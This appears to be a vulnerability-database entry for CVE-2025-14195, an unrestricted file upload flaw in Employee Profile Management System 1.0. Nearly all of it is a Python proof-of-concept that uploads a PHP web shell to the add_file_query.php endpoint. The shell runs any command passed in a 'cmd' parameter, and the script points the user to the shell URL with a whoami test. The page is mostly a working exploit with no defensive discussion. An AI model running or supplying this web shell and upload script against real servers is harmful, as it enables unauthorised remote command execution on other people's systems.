CVE-2025-14195 Employee Profile Management System 1.0 无限制文件上传漏洞

import requests import sys # CVE-2025-14195 PoC - Unrestricted File Upload in Employee Profile Management System 1.0 # Target: /profiling/add_file_query.php target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" upload_endpoint = f"{target_url}/profiling/add_file_query.php" # Create malicious PHP file for webshell php_payload = "<?php if(isset($_REQUEST['cmd'])){ echo '<pre>'; $cmd = ($_REQUEST['cmd']); system($cmd); die; } ?>" files = { 'per_file': ('shell.php', php_payload, 'application/x-httpd-php') } try: response = requests.post(upload_endpoint, files=files, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") # If upload successful, try to access the shell if response.status_code == 200: shell_url = f"{target_url}/uploads/shell.php" print(f"[*] Shell uploaded at: {shell_url}") print(f"[*] Execute command: ?cmd=whoami") except Exception as e: print(f"[!] Error: {e}")